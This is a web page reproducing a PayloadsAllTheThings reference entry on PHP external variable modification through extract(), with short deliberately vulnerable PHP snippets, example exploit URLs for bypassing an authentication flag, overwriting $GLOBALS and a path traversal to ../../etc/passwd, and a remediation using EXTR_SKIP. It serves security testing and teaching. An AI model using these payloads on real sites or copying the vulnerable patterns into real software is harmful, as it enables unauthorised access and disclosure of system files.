Skip to content

Payloads · Misconfiguration and Insecure Design

External Variable Modification

External Variable Modification Vulnerability occurs when a web application improperly handles user input, allowing attackers to overwrite internal variables. In PHP, functions like extract($GET), extract($POST), or importrequestvariables() can be abused if they import user-controlled data into the…

For testing systems you own or are authorised to test, and for defending them. Nothing here is run by this page.

From PayloadsAllTheThings by Swissky and contributors. MIT License, Copyright (c) 2019 Swissky. The repository.

Disclosed reports of this class

6 of 6 passages

Passages
  1. External Variable Modification
  2. Methodology
  3. Overwriting Critical Variables
  4. Poisoning File Inclusion
  5. Global Variable Injection
  6. Remediations

External Variable Modification

SourceOn the Atlas

> External Variable Modification Vulnerability occurs when a web application improperly handles user input, allowing attackers to overwrite internal variables. In PHP, functions like extract($_GET), extract($_POST), or import_request_variables() can be abused if they import user-controlled data into the global scope without proper validation. This can lead to security issues such as unauthorized changes to application logic, privilege escalation, or bypassing security controls.

Methodology

SourceOn the Atlas

The `extract()` function in PHP imports variables from an array into the current symbol table. While it may seem convenient, it can introduce serious security risks, especially when handling user-supplied data. * It allows overwriting existing variables. * It can lead to **variable pollution**, impacting security mechanisms. * It can be used as a **gadget** to trigger other vulnerabilities like Remote Code Execution (RCE) and Local File Inclusion (LFI). By default, `extract()` uses `EXTR_OVERWRITE`, meaning it **replaces existing variables** if they share the same name as keys in the input array.

Overwriting Critical Variables

SourceOn the Atlas

If `extract()` is used in a script that relies on specific variables, an attacker can manipulate them.

<?php
    $authenticated = false;
    extract($_GET);
    if ($authenticated) {
        echo "Access granted!";
    } else {
        echo "Access denied!";
    }
?>

**Exploitation:** In this example, the use of `extract($_GET)` allow an attacker to set the `$authenticated` variable to `true`:

http://example.com/vuln.php?authenticated=true
http://example.com/vuln.php?authenticated=1

Poisoning File Inclusion

SourceOn the Atlas

If `extract()` is combined with file inclusion, attackers can control file paths.

<?php
    $page = "config.php";
    extract($_GET);
    include "$page";
?>

**Exploitation:**

http://example.com/vuln.php?page=../../etc/passwd

Global Variable Injection

SourceOn the Atlas

:warning: As of PHP 8.1.0, write access to the entire `$GLOBALS` array is no longer supported. Overwriting `$GLOBALS` when an application calls `extract` function on untrusted value:

extract($_GET);

An attacker can manipulate **global variables**:

http://example.com/vuln.php?GLOBALS[admin]=1

Remediations

SourceOn the Atlas

Use `EXTR_SKIP` to prevent overwriting:

extract($_GET, EXTR_SKIP);

Data as of 2026-11-14.

Updated AboutDevelopersSign in